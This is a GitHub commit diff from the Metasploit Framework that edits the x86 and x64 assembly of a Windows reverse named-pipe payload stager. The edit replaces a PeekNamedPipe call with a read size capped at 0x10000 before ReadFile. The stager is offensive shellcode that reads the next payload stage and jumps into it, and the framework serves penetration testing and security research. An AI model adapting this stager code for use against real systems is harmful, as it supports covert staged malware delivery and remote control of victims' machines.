File tree Expand file tree Collapse file tree 2 files changed +16
-17
lines changed
lib/msf/core/payload/windows Expand file tree Collapse file tree 2 files changed +16
-17
lines changed Original file line number Diff line number Diff line change @@ -208,21 +208,14 @@ def asm_reverse_named_pipe(opts={})
208
208
push ebx ; push the address of the new stage so we can return into it
209
209
210
210
read_more:
211
- ; Query/read the bytes that are on the pipe first using PeekNamedPipe
212
- push eax ; space for the number of bytes
213
- mov eax, esp ; store the pointer
214
- push 0 ; lpBytesLeftThisMessage
215
- push eax ; lpTotalBytesAvail
216
- push 0 ; lpBytesRead
217
- push esi ; nBufferSize
218
- push ebx ; lpBuffer
219
- push edi ; hFile
220
- push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'PeekNamedPipe' ) }
221
- call ebp ; PeekNamedPipe(...) to query
222
- pop ecx ; Get the bytes read/available
223
- push ecx ; leave the result on the stack
224
-
225
- ; Invoke a read to flush the read data
211
+ ; prepare the size min(0x10000, esi)
212
+ mov ecx, 0x10000 ; stupid named pipe buffer limit
213
+ cmp ecx, esi
214
+ jle size_is_good
215
+ mov ecx, esi
216
+
217
+ size_is_good:
218
+ ; Invoke a read
226
219
push eax ; space for the number of bytes
227
220
mov eax, esp ; store the pointer
228
221
push 0 ; lpOverlapped
@@ -232,7 +225,6 @@ def asm_reverse_named_pipe(opts={})
232
225
push edi ; hFile
233
226
push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'ReadFile' ) }
234
227
call ebp ; ReadFile(...) to read the data
235
- pop ecx ; Ignore the result from readfile
236
228
^
237
229
238
230
if reliable
Original file line number Diff line number Diff line change @@ -212,10 +212,17 @@ def asm_reverse_named_pipe(opts={})
212
212
mov r15, rax ; save the address so we can jump into it later
213
213
214
214
read_more:
215
+ ; prepare the size min(0x10000, esi)
216
+ mov r8, 0x10000 ; stupid named pipe buffer limit
217
+ cmp r8, rsi
218
+ jle size_is_good
219
+ mov r8, rsi
220
+
221
+ size_is_good:
222
+ ; Invoke a read
215
223
push 0 ; buffer for lpNumberOfBytesRead
216
224
mov r9, rsp ; lpNumberOfBytesRead
217
225
mov rdx, rbx ; lpBuffer
218
- mov r8, rsi ; nNumberOfBytesToRead
219
226
push 0 ; lpOverlapped
220
227
mov rcx, rdi ; hFile
221
228
mov r10d, #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'ReadFile' ) }
You can’t perform that action at this time.
0 commit comments